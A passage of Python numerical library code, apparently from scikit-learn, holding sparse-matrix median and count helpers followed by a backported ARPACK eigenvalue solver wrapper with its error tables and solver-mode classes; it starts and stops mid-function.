        if sample_weight is None:
            return out
        return out * sample_weight
    elif axis == 0:
        if sample_weight is None:
            return bincount(X.indices, minlength=X.shape[1])
        else:
            weights = np.repeat(sample_weight, np.diff(X.indptr))
            return bincount(X.indices, minlength=X.shape[1],
                            weights=weights)
    else:
        raise ValueError('Unsupported axis: {0}'.format(axis))


def _get_median(data, n_zeros):
    """Compute the median of data with n_zeros additional zeros.

    This function is used to support sparse matrices; it modifies data in-place
    """
    n_elems = len(data) + n_zeros
    if not n_elems:
        return np.nan
    n_negative = np.count_nonzero(data < 0)
    middle, is_odd = divmod(n_elems, 2)
    data.sort()

    if is_odd:
        return _get_elem_at_rank(middle, data, n_negative, n_zeros)

    return (_get_elem_at_rank(middle - 1, data, n_negative, n_zeros) +
            _get_elem_at_rank(middle, data, n_negative, n_zeros)) / 2.


def _get_elem_at_rank(rank, data, n_negative, n_zeros):
    """Find the value in data augmented with n_zeros for the given rank"""
    if rank < n_negative:
        return data[rank]
    if rank - n_negative < n_zeros:
        return 0
    return data[rank - n_zeros]


def csc_median_axis_0(X):
    """Find the median across axis 0 of a CSC matrix.
    It is equivalent to doing np.median(X, axis=0).

    Parameters
    ----------
    X : CSC sparse matrix, shape (n_samples, n_features)
        Input data.

    Returns
    -------
    median : ndarray, shape (n_features,)
        Median.

    """
    if not isinstance(X, sp.csc_matrix):
        raise TypeError("Expected matrix of CSC format, got %s" % X.format)

    indptr = X.indptr
    n_samples, n_features = X.shape
    median = np.zeros(n_features)

    for f_ind, (start, end) in enumerate(zip(indptr[:-1], indptr[1:])):

        # Prevent modifying X in place
        data = np.copy(X.data[start: end])
        nz = n_samples - data.size
        median[f_ind] = _get_median(data, nz)

    return median






"""
This contains a copy of the future version of
scipy.sparse.linalg.eigen.arpack.eigsh
It's an upgraded wrapper of the ARPACK library which
allows the use of shift-invert mode for symmetric matrices.


Find a few eigenvectors and eigenvalues of a matrix.


Uses ARPACK: http://www.caam.rice.edu/software/ARPACK/

"""
# Wrapper implementation notes
#
# ARPACK Entry Points
# -------------------
# The entry points to ARPACK are
# - (s,d)seupd : single and double precision symmetric matrix
# - (s,d,c,z)neupd: single,double,complex,double complex general matrix
# This wrapper puts the *neupd (general matrix) interfaces in eigs()
# and the *seupd (symmetric matrix) in eigsh().
# There is no Hermetian complex/double complex interface.
# To find eigenvalues of a Hermetian matrix you
# must use eigs() and not eigsh()
# It might be desirable to handle the Hermetian case differently
# and, for example, return real eigenvalues.

# Number of eigenvalues returned and complex eigenvalues
# ------------------------------------------------------
# The ARPACK nonsymmetric real and double interface (s,d)naupd return
# eigenvalues and eigenvectors in real (float,double) arrays.
# Since the eigenvalues and eigenvectors are, in general, complex
# ARPACK puts the real and imaginary parts in consecutive entries
# in real-valued arrays.   This wrapper puts the real entries
# into complex data types and attempts to return the requested eigenvalues
# and eigenvectors.


# Solver modes
# ------------
# ARPACK and handle shifted and shift-inverse computations
# for eigenvalues by providing a shift (sigma) and a solver.

from scipy.sparse.linalg.eigen.arpack import _arpack
import numpy as np
from scipy.sparse.linalg.interface import aslinearoperator, LinearOperator
from scipy.sparse import identity, isspmatrix, isspmatrix_csr
from scipy.linalg import lu_factor, lu_solve
from scipy.sparse.sputils import isdense
from scipy.sparse.linalg import gmres, splu
import scipy
import functools
import operator
from distutils.version import LooseVersion

__docformat__ = "restructuredtext en"

__all__ = ['eigs', 'eigsh', 'svds', 'ArpackError', 'ArpackNoConvergence']

_type_conv = {'f': 's', 'd': 'd', 'F': 'c', 'D': 'z'}
_ndigits = {'f': 5, 'd': 12, 'F': 5, 'D': 12}

DNAUPD_ERRORS = {
    0: "Normal exit.",
    1: "Maximum number of iterations taken. "
       "All possible eigenvalues of OP has been found. IPARAM(5) "
       "returns the number of wanted converged Ritz values.",
    2: "No longer an informational error. Deprecated starting "
       "with release 2 of ARPACK.",
    3: "No shifts could be applied during a cycle of the "
       "Implicitly restarted Arnoldi iteration. One possibility "
       "is to increase the size of NCV relative to NEV. ",
    -1: "N must be positive.",
    -2: "NEV must be positive.",
    -3: "NCV-NEV >= 2 and less than or equal to N.",
    -4: "The maximum number of Arnoldi update iterations allowed "
        "must be greater than zero.",
    -5: " WHICH must be one of 'LM', 'SM', 'LR', 'SR', 'LI', 'SI'",
    -6: "BMAT must be one of 'I' or 'G'.",
    -7: "Length of private work array WORKL is not sufficient.",
    -8: "Error return from LAPACK eigenvalue calculation;",
    -9: "Starting vector is zero.",
    -10: "IPARAM(7) must be 1,2,3,4.",
    -11: "IPARAM(7) = 1 and BMAT = 'G' are incompatible.",
    -12: "IPARAM(1) must be equal to 0 or 1.",
    -13: "NEV and WHICH = 'BE' are incompatible.",
    -9999: "Could not build an Arnoldi factorization. "
           "IPARAM(5) returns the size of the current Arnoldi "
           "factorization. The user is advised to check that "
           "enough workspace and array storage has been allocated."
}

SNAUPD_ERRORS = DNAUPD_ERRORS

ZNAUPD_ERRORS = DNAUPD_ERRORS.copy()
ZNAUPD_ERRORS[-10] = "IPARAM(7) must be 1,2,3."

CNAUPD_ERRORS = ZNAUPD_ERRORS

DSAUPD_ERRORS = {
    0: "Normal exit.",
    1: "Maximum number of iterations taken. "
       "All possible eigenvalues of OP has been found.",
    2: "No longer an informational error. Deprecated starting with "
       "release 2 of ARPACK.",
    3: "No shifts could be applied during a cycle of the Implicitly "
       "restarted Arnoldi iteration. One possibility is to increase "
       "the size of NCV relative to NEV. ",
    -1: "N must be positive.",
    -2: "NEV must be positive.",
    -3: "NCV must be greater than NEV and less than or equal to N.",
    -4: "The maximum number of Arnoldi update iterations allowed "
        "must be greater than zero.",
    -5: "WHICH must be one of 'LM', 'SM', 'LA', 'SA' or 'BE'.",
    -6: "BMAT must be one of 'I' or 'G'.",
    -7: "Length of private work array WORKL is not sufficient.",
    -8: "Error return from trid. eigenvalue calculation; "
        "Informational error from LAPACK routine dsteqr .",
    -9: "Starting vector is zero.",
    -10: "IPARAM(7) must be 1,2,3,4,5.",
    -11: "IPARAM(7) = 1 and BMAT = 'G' are incompatible.",
    -12: "IPARAM(1) must be equal to 0 or 1.",
    -13: "NEV and WHICH = 'BE' are incompatible. ",
    -9999: "Could not build an Arnoldi factorization. "
           "IPARAM(5) returns the size of the current Arnoldi "
           "factorization. The user is advised to check that "
           "enough workspace and array storage has been allocated.",
}

SSAUPD_ERRORS = DSAUPD_ERRORS

DNEUPD_ERRORS = {
    0: "Normal exit.",
    1: "The Schur form computed by LAPACK routine dlahqr "
       "could not be reordered by LAPACK routine dtrsen. "
       "Re-enter subroutine dneupd  with IPARAM(5)NCV and "
       "increase the size of the arrays DR and DI to have "
       "dimension at least dimension NCV and allocate at least NCV "
       "columns for Z. NOTE: Not necessary if Z and V share "
       "the same space. Please notify the authors if this error"
       "occurs.",
    -1: "N must be positive.",
    -2: "NEV must be positive.",
    -3: "NCV-NEV >= 2 and less than or equal to N.",
    -5: "WHICH must be one of 'LM', 'SM', 'LR', 'SR', 'LI', 'SI'",
    -6: "BMAT must be one of 'I' or 'G'.",
    -7: "Length of private work WORKL array is not sufficient.",
    -8: "Error return from calculation of a real Schur form. "
        "Informational error from LAPACK routine dlahqr .",
    -9: "Error return from calculation of eigenvectors. "
        "Informational error from LAPACK routine dtrevc.",
    -10: "IPARAM(7) must be 1,2,3,4.",
    -11: "IPARAM(7) = 1 and BMAT = 'G' are incompatible.",
    -12: "HOWMNY = 'S' not yet implemented",
    -13: "HOWMNY must be one of 'A' or 'P' if RVEC = .true.",
    -14: "DNAUPD  did not find any eigenvalues to sufficient "
         "accuracy.",
    -15: "DNEUPD got a different count of the number of converged "
         "Ritz values than DNAUPD got.  This indicates the user "
         "probably made an error in passing data from DNAUPD to "
         "DNEUPD or that the data was modified before entering "
         "DNEUPD",
}

SNEUPD_ERRORS = DNEUPD_ERRORS.copy()
SNEUPD_ERRORS[1] = ("The Schur form computed by LAPACK routine slahqr "
                    "could not be reordered by LAPACK routine strsen . "
                    "Re-enter subroutine dneupd  with IPARAM(5)=NCV and "
                    "increase the size of the arrays DR and DI to have "
                    "dimension at least dimension NCV and allocate at least "
                    "NCV columns for Z. NOTE: Not necessary if Z and V share "
                    "the same space. Please notify the authors if this error "
                    "occurs.")
SNEUPD_ERRORS[-14] = ("SNAUPD did not find any eigenvalues to sufficient "
                      "accuracy.")
SNEUPD_ERRORS[-15] = ("SNEUPD got a different count of the number of "
                      "converged Ritz values than SNAUPD got.  This indicates "
                      "the user probably made an error in passing data from "
                      "SNAUPD to SNEUPD or that the data was modified before "
                      "entering SNEUPD")

ZNEUPD_ERRORS = {0: "Normal exit.",
                 1: "The Schur form computed by LAPACK routine csheqr "
                    "could not be reordered by LAPACK routine ztrsen. "
                    "Re-enter subroutine zneupd with IPARAM(5)=NCV and "
                    "increase the size of the array D to have "
                    "dimension at least dimension NCV and allocate at least "
                    "NCV columns for Z. NOTE: Not necessary if Z and V share "
                    "the same space. Please notify the authors if this error "
                    "occurs.",
                 -1: "N must be positive.",
                 -2: "NEV must be positive.",
                 -3: "NCV-NEV >= 1 and less than or equal to N.",
                 -5: "WHICH must be one of 'LM', 'SM', 'LR', 'SR', 'LI', 'SI'",
                 -6: "BMAT must be one of 'I' or 'G'.",
                 -7: "Length of private work WORKL array is not sufficient.",
                 -8: "Error return from LAPACK eigenvalue calculation. "
                     "This should never happened.",
                 -9: "Error return from calculation of eigenvectors. "
                     "Informational error from LAPACK routine ztrevc.",
                 -10: "IPARAM(7) must be 1,2,3",
                 -11: "IPARAM(7) = 1 and BMAT = 'G' are incompatible.",
                 -12: "HOWMNY = 'S' not yet implemented",
                 -13: "HOWMNY must be one of 'A' or 'P' if RVEC = .true.",
                 -14: "ZNAUPD did not find any eigenvalues to sufficient "
                      "accuracy.",
                 -15: "ZNEUPD got a different count of the number of "
                      "converged Ritz values than ZNAUPD got.  This "
                      "indicates the user probably made an error in passing "
                      "data from ZNAUPD to ZNEUPD or that the data was "
                      "modified before entering ZNEUPD"
                 }

CNEUPD_ERRORS = ZNEUPD_ERRORS.copy()
CNEUPD_ERRORS[-14] = ("CNAUPD did not find any eigenvalues to sufficient "
                      "accuracy.")
CNEUPD_ERRORS[-15] = ("CNEUPD got a different count of the number of "
                      "converged Ritz values than CNAUPD got.  This indicates "
                      "the user probably made an error in passing data from "
                      "CNAUPD to CNEUPD or that the data was modified before "
                      "entering CNEUPD")

DSEUPD_ERRORS = {
    0: "Normal exit.",
    -1: "N must be positive.",
    -2: "NEV must be positive.",
    -3: "NCV must be greater than NEV and less than or equal to N.",
    -5: "WHICH must be one of 'LM', 'SM', 'LA', 'SA' or 'BE'.",
    -6: "BMAT must be one of 'I' or 'G'.",
    -7: "Length of private work WORKL array is not sufficient.",
    -8: ("Error return from trid. eigenvalue calculation; "
         "Information error from LAPACK routine dsteqr."),
    -9: "Starting vector is zero.",
    -10: "IPARAM(7) must be 1,2,3,4,5.",
    -11: "IPARAM(7) = 1 and BMAT = 'G' are incompatible.",
    -12: "NEV and WHICH = 'BE' are incompatible.",
    -14: "DSAUPD  did not find any eigenvalues to sufficient accuracy.",
    -15: "HOWMNY must be one of 'A' or 'S' if RVEC = .true.",
    -16: "HOWMNY = 'S' not yet implemented",
    -17: ("DSEUPD  got a different count of the number of converged "
          "Ritz values than DSAUPD  got.  This indicates the user "
          "probably made an error in passing data from DSAUPD  to "
          "DSEUPD  or that the data was modified before entering  "
          "DSEUPD.")
}

SSEUPD_ERRORS = DSEUPD_ERRORS.copy()
SSEUPD_ERRORS[-14] = ("SSAUPD  did not find any eigenvalues "
                      "to sufficient accuracy.")
SSEUPD_ERRORS[-17] = ("SSEUPD  got a different count of the number of "
                      "converged "
                      "Ritz values than SSAUPD  got.  This indicates the user "
                      "probably made an error in passing data from SSAUPD  to "
                      "SSEUPD  or that the data was modified before entering  "
                      "SSEUPD.")

_SAUPD_ERRORS = {'d': DSAUPD_ERRORS,
                 's': SSAUPD_ERRORS}
_NAUPD_ERRORS = {'d': DNAUPD_ERRORS,
                 's': SNAUPD_ERRORS,
                 'z': ZNAUPD_ERRORS,
                 'c': CNAUPD_ERRORS}
_SEUPD_ERRORS = {'d': DSEUPD_ERRORS,
                 's': SSEUPD_ERRORS}
_NEUPD_ERRORS = {'d': DNEUPD_ERRORS,
                 's': SNEUPD_ERRORS,
                 'z': ZNEUPD_ERRORS,
                 'c': CNEUPD_ERRORS}

# accepted values of parameter WHICH in _SEUPD
_SEUPD_WHICH = ['LM', 'SM', 'LA', 'SA', 'BE']

# accepted values of parameter WHICH in _NAUPD
_NEUPD_WHICH = ['LM', 'SM', 'LR', 'SR', 'LI', 'SI']


# CHECK IF BACKPORT IS ACTUALLY NEEDED
if scipy.version.version >= LooseVersion('0.12'):
    BACKPORT_TO = None
elif scipy.version.version >= LooseVersion('0.11'):
    BACKPORT_TO = '0.10'
else:
    BACKPORT_TO = '0.09'


# redefinition of the function from `scipy._lib._util._aligned_zeros`
def _aligned_zeros(shape, dtype=float, order="C", align=None):
    """Allocate a new ndarray with aligned memory.
    Primary use case for this currently is working around a f2py issue
    in Numpy 1.9.1, where dtype.alignment is such that np.zeros() does
    not necessarily create arrays aligned up to it.
    """
    dtype = np.dtype(dtype)
    if align is None:
        align = dtype.alignment
    if not hasattr(shape, '__len__'):
        shape = (shape,)
    size = functools.reduce(operator.mul, shape) * dtype.itemsize
    buf = np.empty(size + align + 1, np.uint8)
    offset = buf.__array_interface__['data'][0] % align
    if offset != 0:
        offset = align - offset
    # Note: slices producing 0-size arrays do not necessarily change
    # data pointer --- so we use and allocate size+1
    buf = buf[offset:offset+size+1][:-1]
    data = np.ndarray(shape, dtype, buf, order=order)
    data.fill(0)
    return data


class ArpackError(RuntimeError):
    """
    ARPACK error
    """
    def __init__(self, info, infodict=_NAUPD_ERRORS):
        msg = infodict.get(info, "Unknown error")
        RuntimeError.__init__(self, "ARPACK error %d: %s" % (info, msg))


class ArpackNoConvergence(ArpackError):
    """
    ARPACK iteration did not converge

    Attributes
    ----------
    eigenvalues : ndarray
        Partial result. Converged eigenvalues.
    eigenvectors : ndarray
        Partial result. Converged eigenvectors.

    """
    def __init__(self, msg, eigenvalues, eigenvectors):
        ArpackError.__init__(self, -1, {-1: msg})
        self.eigenvalues = eigenvalues
        self.eigenvectors = eigenvectors


class _ArpackParams(object):
    def __init__(self, n, k, tp, mode=1, sigma=None,
                 ncv=None, v0=None, maxiter=None, which="LM", tol=0):
        if k <= 0:
            raise ValueError("k must be positive, k=%d" % k)

        if maxiter is None:
            maxiter = n * 10
        if maxiter <= 0:
            raise ValueError("maxiter must be positive, maxiter=%d" % maxiter)

        if tp not in 'fdFD':
            raise ValueError("matrix type must be 'f', 'd', 'F', or 'D'")

        if v0 is not None:
            # ARPACK overwrites its initial resid,  make a copy
            self.resid = np.array(v0, copy=True)
            info = 1
        else:
            # ARPACK will use a random initial vector.
            self.resid = np.zeros(n, tp)
            info = 0

        if sigma is None:
            # sigma not used
            self.sigma = 0
        else:
            self.sigma = sigma

        if ncv is None:
            ncv = 2 * k + 1
        ncv = min(ncv, n)

        self.v = np.zeros((n, ncv), tp)  # holds Ritz vectors
        self.iparam = np.zeros(11, "int")

        # set solver mode and parameters
        ishfts = 1
        self.mode = mode
        self.iparam[0] = ishfts
        self.iparam[2] = maxiter
        self.iparam[3] = 1
        self.iparam[6] = mode

        self.n = n
        self.tol = tol
        self.k = k
        self.maxiter = maxiter
        self.ncv = ncv
        self.which = which
        self.tp = tp
        self.info = info

        self.converged = False
        self.ido = 0

    def _raise_no_convergence(self):
        msg = "No convergence (%d iterations, %d/%d eigenvectors converged)"
        k_ok = self.iparam[4]
        num_iter = self.iparam[2]
        try:
            ev, vec = self.extract(True)
        except ArpackError as err:
            msg = "%s [%s]" % (msg, err)
            ev = np.zeros((0,))
            vec = np.zeros((self.n, 0))
            k_ok = 0
        raise ArpackNoConvergence(msg % (num_iter, k_ok, self.k), ev, vec)


class _SymmetricArpackParams(_ArpackParams):
    def __init__(self, n, k, tp, matvec, mode=1, M_matvec=None,
                 Minv_matvec=None, sigma=None,
                 ncv=None, v0=None, maxiter=None, which="LM", tol=0):
        # The following modes are supported:
        #  mode = 1:
        #    Solve the standard eigenvalue problem:
        #      A*x = lambda*x :
        #       A - symmetric
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = None [not used]
        #       Minv_matvec = None [not used]
        #
        #  mode = 2:
        #    Solve the general eigenvalue problem:
        #      A*x = lambda*M*x
        #       A - symmetric
        #       M - symmetric positive definite
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = left multiplication by M
        #       Minv_matvec = left multiplication by M^-1
        #
        #  mode = 3:
        #    Solve the general eigenvalue problem in shift-invert mode:
        #      A*x = lambda*M*x
        #       A - symmetric
        #       M - symmetric positive semi-definite
        #    Arguments should be
        #       matvec      = None [not used]
        #       M_matvec    = left multiplication by M
        #                     or None, if M is the identity
        #       Minv_matvec = left multiplication by [A-sigma*M]^-1
        #
        #  mode = 4:
        #    Solve the general eigenvalue problem in Buckling mode:
        #      A*x = lambda*AG*x
        #       A  - symmetric positive semi-definite
        #       AG - symmetric indefinite
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = None [not used]
        #       Minv_matvec = left multiplication by [A-sigma*AG]^-1
        #
        #  mode = 5:
        #    Solve the general eigenvalue problem in Cayley-transformed mode:
        #      A*x = lambda*M*x
        #       A - symmetric
        #       M - symmetric positive semi-definite
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = left multiplication by M
        #                     or None, if M is the identity
        #       Minv_matvec = left multiplication by [A-sigma*M]^-1
        if mode == 1:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=1")
            if M_matvec is not None:
                raise ValueError("M_matvec cannot be specified for mode=1")
            if Minv_matvec is not None:
                raise ValueError("Minv_matvec cannot be specified for mode=1")

            self.OP = matvec
            self.B = lambda x: x
            self.bmat = 'I'
        elif mode == 2:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=2")
            if M_matvec is None:
                raise ValueError("M_matvec must be specified for mode=2")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified for mode=2")

            self.OP = lambda x: Minv_matvec(matvec(x))
            self.OPa = Minv_matvec
            self.OPb = matvec
            self.B = M_matvec
            self.bmat = 'G'
        elif mode == 3:
            if matvec is not None:
                raise ValueError("matvec must not be specified for mode=3")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified for mode=3")

            if M_matvec is None:
                self.OP = Minv_matvec
                self.OPa = Minv_matvec
                self.B = lambda x: x
                self.bmat = 'I'
            else:
                self.OP = lambda x: Minv_matvec(M_matvec(x))
                self.OPa = Minv_matvec
                self.B = M_matvec
                self.bmat = 'G'
        elif mode == 4:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=4")
            if M_matvec is not None:
                raise ValueError("M_matvec must not be specified for mode=4")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified for mode=4")
            self.OPa = Minv_matvec
            self.OP = lambda x: self.OPa(matvec(x))
            self.B = matvec
            self.bmat = 'G'
        elif mode == 5:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=5")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified for mode=5")

            self.OPa = Minv_matvec
            self.A_matvec = matvec

            if M_matvec is None:
                self.OP = lambda x: Minv_matvec(matvec(x) + sigma * x)
                self.B = lambda x: x
                self.bmat = 'I'
            else:
                self.OP = lambda x: Minv_matvec(matvec(x) +
                                                sigma * M_matvec(x))
                self.B = M_matvec
                self.bmat = 'G'
        else:
            raise ValueError("mode=%i not implemented" % mode)

        if which not in _SEUPD_WHICH:
            raise ValueError("which must be one of %s"
                             % ' '.join(_SEUPD_WHICH))
        if k >= n:
            raise ValueError("k must be less than ndim(A), k=%d" % k)

        _ArpackParams.__init__(self, n, k, tp, mode, sigma,
                               ncv, v0, maxiter, which, tol)

        if self.ncv > n or self.ncv <= k:
            raise ValueError("ncv must be k<ncv<=n, ncv=%s" % self.ncv)

        # Use _aligned_zeros to work around a f2py bug in Numpy 1.9.1
        self.workd = _aligned_zeros(3 * n, self.tp)
        self.workl = _aligned_zeros(self.ncv * (self.ncv + 8), self.tp)

        ltr = _type_conv[self.tp]
        if ltr not in ["s", "d"]:
            raise ValueError("Input matrix is not real-valued.")

        self._arpack_solver = _arpack.__dict__[ltr + 'saupd']
        self._arpack_extract = _arpack.__dict__[ltr + 'seupd']

        self.iterate_infodict = _SAUPD_ERRORS[ltr]
        self.extract_infodict = _SEUPD_ERRORS[ltr]

        self.ipntr = np.zeros(11, "int")

    def iterate(self):
        if BACKPORT_TO is None:
            return None
        if BACKPORT_TO == '0.10':
            self.ido, self.tol, self.resid, self.v, self.iparam, self.ipntr, self.info = \
                self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                    self.tol, self.resid, self.v, self.iparam,
                                    self.ipntr, self.workd, self.workl, self.info)
        elif BACKPORT_TO == '0.09':
            self.ido, self.resid, self.v, self.iparam, self.ipntr, self.info = \
                self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                    self.tol, self.resid, self.v, self.iparam,
                                    self.ipntr, self.workd, self.workl, self.info)

        xslice = slice(self.ipntr[0] - 1, self.ipntr[0] - 1 + self.n)
        yslice = slice(self.ipntr[1] - 1, self.ipntr[1] - 1 + self.n)
        if self.ido == -1:
            # initialization
            self.workd[yslice] = self.OP(self.workd[xslice])
        elif self.ido == 1:
            # compute y = Op*x
            if self.mode == 1:
                self.workd[yslice] = self.OP(self.workd[xslice])
            elif self.mode == 2:
                self.workd[xslice] = self.OPb(self.workd[xslice])
                self.workd[yslice] = self.OPa(self.workd[xslice])
            elif self.mode == 5:
                Bxslice = slice(self.ipntr[2] - 1, self.ipntr[2] - 1 + self.n)
                Ax = self.A_matvec(self.workd[xslice])
                self.workd[yslice] = self.OPa(Ax + (self.sigma *
                                                    self.workd[Bxslice]))
            else:
                Bxslice = slice(self.ipntr[2] - 1, self.ipntr[2] - 1 + self.n)
                self.workd[yslice] = self.OPa(self.workd[Bxslice])
        elif self.ido == 2:
            self.workd[yslice] = self.B(self.workd[xslice])
        elif self.ido == 3:
            raise ValueError("ARPACK requested user shifts.  Assure ISHIFT==0")
        else:
            self.converged = True

            if self.info == 0:
                pass
            elif self.info == 1:
                self._raise_no_convergence()
            else:
                raise ArpackError(self.info, infodict=self.iterate_infodict)

    def extract(self, return_eigenvectors):
        rvec = return_eigenvectors
        ierr = 0
        howmny = 'A'  # return all eigenvectors
        sselect = np.zeros(self.ncv, 'int')  # unused
        d, z, ierr = self._arpack_extract(rvec, howmny, sselect, self.sigma,
                                          self.bmat, self.which, self.k,
                                          self.tol, self.resid, self.v,
                                          self.iparam[0:7], self.ipntr,
                                          self.workd[0:2 * self.n],
                                          self.workl, ierr)
        if ierr != 0:
            raise ArpackError(ierr, infodict=self.extract_infodict)
        k_ok = self.iparam[4]
        d = d[:k_ok]
        z = z[:, :k_ok]

        if return_eigenvectors:
            return d, z
        else:
            return d


class _UnsymmetricArpackParams(_ArpackParams):
    def __init__(self, n, k, tp, matvec, mode=1, M_matvec=None,
                 Minv_matvec=None, sigma=None,
                 ncv=None, v0=None, maxiter=None, which="LM", tol=0):
        # The following modes are supported:
        #  mode = 1:
        #    Solve the standard eigenvalue problem:
        #      A*x = lambda*x
        #       A - square matrix
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = None [not used]
        #       Minv_matvec = None [not used]
        #
        #  mode = 2:
        #    Solve the generalized eigenvalue problem:
        #      A*x = lambda*M*x
        #       A - square matrix
        #       M - symmetric, positive semi-definite
        #    Arguments should be
        #       matvec      = left multiplication by A
        #       M_matvec    = left multiplication by M
        #       Minv_matvec = left multiplication by M^-1
        #
        #  mode = 3,4:
        #    Solve the general eigenvalue problem in shift-invert mode:
        #      A*x = lambda*M*x
        #       A - square matrix
        #       M - symmetric, positive semi-definite
        #    Arguments should be
        #       matvec      = None [not used]
        #       M_matvec    = left multiplication by M
        #                     or None, if M is the identity
        #       Minv_matvec = left multiplication by [A-sigma*M]^-1
        #    if A is real and mode==3, use the real part of Minv_matvec
        #    if A is real and mode==4, use the imag part of Minv_matvec
        #    if A is complex and mode==3,
        #       use real and imag parts of Minv_matvec
        if mode == 1:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=1")
            if M_matvec is not None:
                raise ValueError("M_matvec cannot be specified for mode=1")
            if Minv_matvec is not None:
                raise ValueError("Minv_matvec cannot be specified for mode=1")

            self.OP = matvec
            self.B = lambda x: x
            self.bmat = 'I'
        elif mode == 2:
            if matvec is None:
                raise ValueError("matvec must be specified for mode=2")
            if M_matvec is None:
                raise ValueError("M_matvec must be specified for mode=2")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified for mode=2")

            self.OP = lambda x: Minv_matvec(matvec(x))
            self.OPa = Minv_matvec
            self.OPb = matvec
            self.B = M_matvec
            self.bmat = 'G'
        elif mode in (3, 4):
            if matvec is None:
                raise ValueError("matvec must be specified "
                                 "for mode in (3,4)")
            if Minv_matvec is None:
                raise ValueError("Minv_matvec must be specified "
                                 "for mode in (3,4)")

            self.matvec = matvec
            if tp in 'DF':  # complex type
                if mode == 3:
                    self.OPa = Minv_matvec
                else:
                    raise ValueError("mode=4 invalid for complex A")
            else:  # real type
                if mode == 3:
                    self.OPa = lambda x: np.real(Minv_matvec(x))
                else:
                    self.OPa = lambda x: np.imag(Minv_matvec(x))
            if M_matvec is None:
                self.B = lambda x: x
                self.bmat = 'I'
                self.OP = self.OPa
            else:
                self.B = M_matvec
                self.bmat = 'G'
                self.OP = lambda x: self.OPa(M_matvec(x))
        else:
            raise ValueError("mode=%i not implemented" % mode)

        if which not in _NEUPD_WHICH:
            raise ValueError("Parameter which must be one of %s"
                             % ' '.join(_NEUPD_WHICH))
        if k >= n - 1:
            raise ValueError("k must be less than ndim(A)-1, k=%d" % k)

        _ArpackParams.__init__(self, n, k, tp, mode, sigma,
                               ncv, v0, maxiter, which, tol)

        if self.ncv > n or self.ncv <= k + 1:
            raise ValueError("ncv must be k+1<ncv<=n, ncv=%s" % self.ncv)

        # Use _aligned_zeros to work around a f2py bug in Numpy 1.9.1
        self.workd = _aligned_zeros(3 * n, self.tp)
        self.workl = _aligned_zeros(3 * self.ncv * (self.ncv + 2), self.tp)

        ltr = _type_conv[self.tp]
        self._arpack_solver = _arpack.__dict__[ltr + 'naupd']
        self._arpack_extract = _arpack.__dict__[ltr + 'neupd']

        self.iterate_infodict = _NAUPD_ERRORS[ltr]
        self.extract_infodict = _NEUPD_ERRORS[ltr]

        self.ipntr = np.zeros(14, "int")

        if self.tp in 'FD':
            # Use _aligned_zeros to work around a f2py bug in Numpy 1.9.1
            self.rwork = _aligned_zeros(self.ncv, self.tp.lower())
        else:
            self.rwork = None

    def iterate(self):
        if BACKPORT_TO is None:
            return None
        if BACKPORT_TO == '0.10':
            if self.tp in 'fd':
                self.ido, self.tol, self.resid, self.v, self.iparam, self.ipntr, self.info =\
                    self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                        self.tol, self.resid, self.v, self.iparam,
                                        self.ipntr, self.workd, self.workl,
                                        self.info)
            else:
                self.ido, self.tol, self.resid, self.v, self.iparam, self.ipntr, self.info =\
                    self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                        self.tol, self.resid, self.v, self.iparam,
                                        self.ipntr, self.workd, self.workl,
                                        self.rwork, self.info)
        elif BACKPORT_TO == '0.09':
            if self.tp in 'fd':
                self.ido, self.resid, self.v, self.iparam, self.ipntr, self.info =\
                    self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                        self.tol, self.resid, self.v, self.iparam,
                                        self.ipntr, self.workd, self.workl,
                                        self.info)
            else:
                self.ido, self.resid, self.v, self.iparam, self.ipntr, self.info =\
                    self._arpack_solver(self.ido, self.bmat, self.which, self.k,
                                        self.tol, self.resid, self.v, self.iparam,
                                        self.ipntr, self.workd, self.workl,
                                        self.rwork, self.info)

        xslice = slice(self.ipntr[0] - 1, self.ipntr[0] - 1 + self.n)
        yslice = slice(self.ipntr[1] - 1, self.ipntr[1] - 1 + self.n)
        if self.ido == -1:
            # initialization
            self.workd[yslice] = self.OP(self.workd[xslice])
        elif self.ido == 1:
            # compute y = Op*x
            if self.mode in (1, 2):
                self.workd[yslice] = self.OP(self.workd[xslice])
            else:
                Bxslice = slice(self.ipntr[2] - 1, self.ipntr[2] - 1 + self.n)
                self.workd[yslice] = self.OPa(self.workd[Bxslice])
        elif self.ido == 2:
            self.workd[yslice] = self.B(self.workd[xslice])
        elif self.ido == 3:
            raise ValueError("ARPACK requested user shifts.  Assure ISHIFT==0")
        else:
            self.converged = True

            if self.info == 0:
                pass
            elif self.info == 1:
                self._raise_no_convergence()
            else:
                raise ArpackError(self.info, infodict=self.iterate_infodict)

    def extract(self, return_eigenvectors):
        k, n = self.k, self.n

        ierr = 0
        howmny = 'A'  # return all eigenvectors
        sselect = np.zeros(self.ncv, 'int')  # unused
        sigmar = np.real(self.sigma)
        sigmai = np.imag(self.sigma)
        workev = np.zeros(3 * self.ncv, self.tp)

        if self.tp in 'fd':
            dr = np.zeros(k + 1, self.tp)
            di = np.zeros(k + 1, self.tp)
            zr = np.zeros((n, k + 1), self.tp)
            dr, di, zr, ierr = \
                self._arpack_extract(return_eigenvectors,
                       howmny, sselect, sigmar, sigmai, workev,
                       self.bmat, self.which, k, self.tol, self.resid,
                       self.v, self.iparam, self.ipntr,
                       self.workd, self.workl, self.info)
            if ierr != 0:
                raise ArpackError(ierr, infodict=self.extract_infodict)
            nreturned = self.iparam[4]  # number of good eigenvalues returned

            # Build complex eigenvalues from real and imaginary parts
            d = dr + 1.0j * di

